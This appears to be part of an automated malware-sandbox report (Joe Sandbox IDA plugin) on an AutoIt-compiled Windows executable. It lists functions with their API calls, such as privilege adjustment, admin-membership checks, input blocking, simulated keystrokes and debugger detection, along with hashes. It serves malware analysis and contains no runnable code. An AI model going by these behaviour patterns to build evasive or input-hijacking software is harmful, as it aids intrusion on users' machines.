SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00A12724
UnhandledExceptionFilter.KERNEL32(?), ref: 00A12731

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 42998727f921e728722fc076b66434ef8a3db2832873d08a3fca7c37ae89ac0e
Instruction ID: 7c792a6b82e14d5ac94bd184609241f62748c64ad5f141fc836df53c9d2abce5
Opcode Fuzzy Hash: 42998727f921e728722fc076b66434ef8a3db2832873d08a3fca7c37ae89ac0e
Instruction Fuzzy Hash: E831B57491121C9BCB21DF68DD89BDDB7B8AF08310F5041EAE41CA72A1E7349F818F45

Function 00A551CD Relevance: 4.6, APIs: 3, Instructions: 76COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00A551DA
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 00A55238
SetErrorMode.KERNEL32(00000000), ref: 00A552A1

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: df532c91ce26ae00214cedf0666ede676a73a800e1fa8911fcbf6d34df975023
Instruction ID: 115d7436d16fac38dd13c9dd94b8c036a97305234e3ff2127a782781e8b9100b
Opcode Fuzzy Hash: df532c91ce26ae00214cedf0666ede676a73a800e1fa8911fcbf6d34df975023
Instruction Fuzzy Hash: 65314D75A005189FDB00DF94D894EADBBB4FF49314F048099E8099B362DB31EC56CB90

Function 00A416C3 Relevance: 4.6, APIs: 3, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 009FFDDB: __CxxThrowException@8.LIBVCRUNTIME ref: 00A00668
Part of subcall function 009FFDDB: __CxxThrowException@8.LIBVCRUNTIME ref: 00A00685

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00A4170D
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00A4173A
GetLastError.KERNEL32 ref: 00A4174A

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Exception@8Throw$AdjustErrorLastLookupPrivilegePrivilegesTokenValue
String ID:
API String ID: 577356006-0
Opcode ID: 0f5ef4e95dac65bd15c1d940665029f6fe9112b3cb4ac73063a1b204887916f0
Instruction ID: 0a6634039f6522dcdd06b4099047df16aa0f9ae473a071e961986f579309a046
Opcode Fuzzy Hash: 0f5ef4e95dac65bd15c1d940665029f6fe9112b3cb4ac73063a1b204887916f0
Instruction Fuzzy Hash: E71191B2504308AFD718DF54DC86E6AB7BDEF84724B20852EE05657691EB70FC828B60

Function 00A4D5EB Relevance: 4.6, APIs: 3, Instructions: 58fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00A4D608
DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,00000028,?,00000000), ref: 00A4D645
CloseHandle.KERNEL32(?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00A4D650

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: 75b7e1053c36462b1d360223936cce5ffe9b7775adfea25414f0b3cb0805d313
Instruction ID: 1c3ec406f46743bcd2f411c3cbe46d885c26abb1fcc06743ff6fcbd609a69942
Opcode Fuzzy Hash: 75b7e1053c36462b1d360223936cce5ffe9b7775adfea25414f0b3cb0805d313
Instruction Fuzzy Hash: 5A115E75E05228BFDB10CF99DC45FAFBBBCEB45B60F108165F908E7290D6704A058BA1

Function 00A41663 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00A4168C
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 00A416A1
FreeSid.ADVAPI32(?), ref: 00A416B1

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 05e95568dd0f85c48822f18808cebac878eed1aba59f968793cfc6321d400548
Instruction ID: 81b67efaf24c02974ecb6f896c342934941a346c324af15c865485cc979b58ab
Opcode Fuzzy Hash: 05e95568dd0f85c48822f18808cebac878eed1aba59f968793cfc6321d400548
Instruction Fuzzy Hash: A3F0F475950309FBDB00DFE49C89EAEBBBCFB08615F508565E501E2181E774AA858BA0

Function 00A1C2A2 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

/, xrefs: 00A1C36C

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID:
String ID: /
API String ID: 0-2043925204
Opcode ID: c3340dc700fbb32167dc4d64b4e1650a485d5567db8aa5c21ff633ce37fe9007
Instruction ID: 04dcbc634812825203c32bda48bb72983db31c9c4b9483f98576977cce5af175
Opcode Fuzzy Hash: c3340dc700fbb32167dc4d64b4e1650a485d5567db8aa5c21ff633ce37fe9007
Instruction Fuzzy Hash: 194138725402196FCB20AFB9CC48EFBB778EB84724F104269F915CB180E6309DC1CB50

Function 00A3D27A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 00A3D28C

Strings

X64, xrefs: 00A3D2A8

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: NameUser
String ID: X64
API String ID: 2645101109-893830106
Opcode ID: d1925b7f0d1c076a903880007f7c41ff623835e5c5b26e772216058e869ee6b7
Instruction ID: 087bd8c26d1bfda41dc7924efa1e3936b8d442c42f165cb13d4cbba81f96e3d5
Opcode Fuzzy Hash: d1925b7f0d1c076a903880007f7c41ff623835e5c5b26e772216058e869ee6b7
Instruction Fuzzy Hash: A1D0C9B480112DEACF90CB90EC88DDAB37CBB04305F104555F506A2000DB3495498F10

Function 00A568EE Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00A56918
FindClose.KERNEL32(00000000), ref: 00A56961

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 37c46ca888ed5ee4e6a05c2a37a77f231db8e4ab2d3a78b99cc29a9a8b3c4962
Instruction ID: 7b9dc43494373648122a77e4175f489184d18e713d561f7ab2ccede3f7cedca5
Opcode Fuzzy Hash: 37c46ca888ed5ee4e6a05c2a37a77f231db8e4ab2d3a78b99cc29a9a8b3c4962
Instruction Fuzzy Hash: E411BE716042009FC710DF6AD884A16BBE0FF84329F44C699E8698F2A2CB30EC46CB91

Function 00A537B5 Relevance: 3.0, APIs: 2, Instructions: 33windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,?,?,?,00A64891,?,?,00000035,?), ref: 00A537E4
FormatMessageW.KERNEL32(00001000,00000000,?,00000000,?,00000FFF,00000000,?,?,?,00A64891,?,?,00000035,?), ref: 00A537F4

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 2fad425a678dafa1134eff79623f7a8654967098a99a660e7f79d4cfb885aa17
Instruction ID: 00114d28e800de4e2f101f3563a792666322b79bbbcab2826b9eaefbda4e3427
Opcode Fuzzy Hash: 2fad425a678dafa1134eff79623f7a8654967098a99a660e7f79d4cfb885aa17
Instruction Fuzzy Hash: 10F0A7716042242AEA1067B65D49FDB76ADEFC4761F004165B509D2281D960594586B0

Function 00A4B226 Relevance: 3.0, APIs: 2, Instructions: 29keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 00A4B25D
keybd_event.USER32(?,75A8C0D0,?,00000000), ref: 00A4B270

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: InputSendkeybd_event
String ID:
API String ID: 3536248340-0
Opcode ID: a25a84b08ee700f5d1b33d2538e04c6bfc0861194ffef04de2466838fe044cb4
Instruction ID: c8908ba6514a0a9d848ab9c0a9fa24804a21a114296eaacad85afe0e58f3c5e5
Opcode Fuzzy Hash: a25a84b08ee700f5d1b33d2538e04c6bfc0861194ffef04de2466838fe044cb4
Instruction Fuzzy Hash: 9FF01D7581424EABDB05DFA0C805BEE7BB4FF04315F008019F955A5191D779C6519FA4

Function 00A410BF Relevance: 3.0, APIs: 2, Instructions: 24COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00A411FC), ref: 00A410D4
CloseHandle.KERNEL32(?,?,00A411FC), ref: 00A410E9

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: dc457b9392f73b514b49b5e2f09543ee0097b2c7525b1a31a710162bb075c7c7
Instruction ID: 19cd5f71b280c4b0701d7b835f43a9d29dcbdbaab46f10153c9d1255a67a4ab1
Opcode Fuzzy Hash: dc457b9392f73b514b49b5e2f09543ee0097b2c7525b1a31a710162bb075c7c7
Instruction Fuzzy Hash: 7BE0BF72014610AEF7256B51FC05F7777A9EF44320F14C82DF5A5844B1DB626CD1DB50

Function 00A5EAA2 Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 00A5EABD

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: d9c1978ed88bc83b479cd85b38e4a87b75ca7e0f8eb39500949c74dc43aed96f
Instruction ID: d9a9da1b119f6875662674edb82c8c7be05c75a9ac2b868c0d0ae0d24787db10
Opcode Fuzzy Hash: d9c1978ed88bc83b479cd85b38e4a87b75ca7e0f8eb39500949c74dc43aed96f
Instruction Fuzzy Hash: 97E01A712002049FC710EF6AD844E9AB7EDBF987A1F00841AFD4AC7251DA70AD458B90

Function 00A009D5 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000209E1,00A003EE), ref: 00A009DA

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: d0aebdea70b2bc279638f5f655aa4dc100e441262422c1a791f7fb631f813286
Instruction ID: 480c1d88e8da447da12a618401068ccc95c7d3d21a0556299cd87bb0469b740b
Opcode Fuzzy Hash: d0aebdea70b2bc279638f5f655aa4dc100e441262422c1a791f7fb631f813286
Instruction Fuzzy Hash:

Function 00A62ADE Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 486filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00A62B30
DeleteObject.GDI32(00000000), ref: 00A62B43
DestroyWindow.USER32 ref: 00A62B52
GetDesktopWindow.USER32 ref: 00A62B6D
GetWindowRect.USER32(00000000), ref: 00A62B74
SetRect.USER32(?,00000000,00000000,00000007,00000002), ref: 00A62CA3
AdjustWindowRectEx.USER32(?,88C00000,00000000,?), ref: 00A62CB1
CreateWindowExW.USER32(?,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00A62CF8
GetClientRect.USER32(00000000,?), ref: 00A62D04
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00A62D40
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00A62D62
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00A62D75
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00A62D80
GlobalLock.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00A62D89
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00A62D98
GlobalUnlock.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00A62DA1
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00A62DA8
GlobalFree.KERNEL32(00000000), ref: 00A62DB3
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00A62DC5
OleLoadPicture.OLEAUT32(?,00000000,00000000,00A7FC38,00000000), ref: 00A62DDB
GlobalFree.KERNEL32(00000000), ref: 00A62DEB
CopyImage.USER32(00000007,00000000,00000000,00000000,00002000), ref: 00A62E11
SendMessageW.USER32(00000000,00000172,00000000,00000007), ref: 00A62E30
SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00A62E52
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00A6303F

Strings

DISPLAY, xrefs: 00A62EA2
, xrefs: 00A62FC5
AutoIt v3, xrefs: 00A62CF2
static, xrefs: 00A62D3A, 00A62E91

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: 58b38a7498c9d731ef27950495f3a7dbe02b715600eaa011eb1d1f50c3f96651
Instruction ID: 0d7d91595b382355678b2229fad4a4a14feb0663340c44b7e3155764efff65e8
Opcode Fuzzy Hash: 58b38a7498c9d731ef27950495f3a7dbe02b715600eaa011eb1d1f50c3f96651
Instruction Fuzzy Hash: 7F026D75500205EFDB14DFA4CC89EAE7BB9FF48720F048558F919AB2A1DB74AD42CB60

Function 00A770D5 Relevance: 49.8, APIs: 33, Instructions: 273COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 00A7712F
GetSysColorBrush.USER32(0000000F), ref: 00A77160
GetSysColor.USER32(0000000F), ref: 00A7716C
SetBkColor.GDI32(?,000000FF), ref: 00A77186
SelectObject.GDI32(?,?), ref: 00A77195
InflateRect.USER32(?,000000FF,000000FF), ref: 00A771C0
GetSysColor.USER32(00000010), ref: 00A771C8
CreateSolidBrush.GDI32(00000000), ref: 00A771CF
FrameRect.USER32(?,?,00000000), ref: 00A771DE
DeleteObject.GDI32(00000000), ref: 00A771E5
InflateRect.USER32(?,000000FE,000000FE), ref: 00A77230
FillRect.USER32(?,?,?), ref: 00A77262
GetWindowLongW.USER32(?,000000F0), ref: 00A77284

Part of subcall function 00A773E8: GetSysColor.USER32(00000012), ref: 00A77421
Part of subcall function 00A773E8: SetTextColor.GDI32(?,?), ref: 00A77425
Part of subcall function 00A773E8: GetSysColorBrush.USER32(0000000F), ref: 00A7743B
Part of subcall function 00A773E8: GetSysColor.USER32(0000000F), ref: 00A77446
Part of subcall function 00A773E8: GetSysColor.USER32(00000011), ref: 00A77463
Part of subcall function 00A773E8: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00A77471
Part of subcall function 00A773E8: SelectObject.GDI32(?,00000000), ref: 00A77482
Part of subcall function 00A773E8: SetBkColor.GDI32(?,00000000), ref: 00A7748B
Part of subcall function 00A773E8: SelectObject.GDI32(?,?), ref: 00A77498
Part of subcall function 00A773E8: InflateRect.USER32(?,000000FF,000000FF), ref: 00A774B7
Part of subcall function 00A773E8: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00A774CE
Part of subcall function 00A773E8: GetWindowLongW.USER32(00000000,000000F0), ref: 00A774DB

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
String ID:
API String ID: 4124339563-0
Opcode ID: 4f730625cb094b7b8e9fdc20f562f62dbc8e08d4e174ed1e537e5332ae5fbe12
Instruction ID: 158d255baf4ec816adbd6ab55eca7b865a800f6ee2c60e8ac74fe3b2e48197f0
Opcode Fuzzy Hash: 4f730625cb094b7b8e9fdc20f562f62dbc8e08d4e174ed1e537e5332ae5fbe12
Instruction Fuzzy Hash: 8FA18F72008301AFD710DFA0DC48A6F7BA9FB49331F508B2DF96A961A1D771E985CB91

Function 009F8D85 Relevance: 47.7, APIs: 26, Strings: 1, Instructions: 480windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?), ref: 009F8E14
SendMessageW.USER32(?,00001308,?,00000000), ref: 00A36AC5
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 00A36AFE
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00A36F43

Part of subcall function 009F8F62: InvalidateRect.USER32(?,00000000,00000001,?,?,?,009F8BE8,?,00000000,?,?,?,?,009F8BBA,00000000,?), ref: 009F8FC5

SendMessageW.USER32(?,00001053), ref: 00A36F7F
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 00A36F96
ImageList_Destroy.COMCTL32(00000000,?), ref: 00A36FAC
ImageList_Destroy.COMCTL32(00000000,?), ref: 00A36FB7

Strings

0, xrefs: 00A36DCF

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: DestroyImageList_MessageSend$Window$InvalidateMoveRectRemove
String ID: 0
API String ID: 2760611726-4108050209
Opcode ID: c4ec6abd789ef34a84f0224e0ebbba4682d6be41c7f72d30d86e3455e37f2860
Instruction ID: e630e137dd5fe26f2269535b5fe91206d0a26b5e628bf8f45943880830d3a119
Opcode Fuzzy Hash: c4ec6abd789ef34a84f0224e0ebbba4682d6be41c7f72d30d86e3455e37f2860
Instruction Fuzzy Hash: 9612AA30200641EFDB25DF24D894BBABBE5FB45310F548569F5898B262CB36EC92CF91

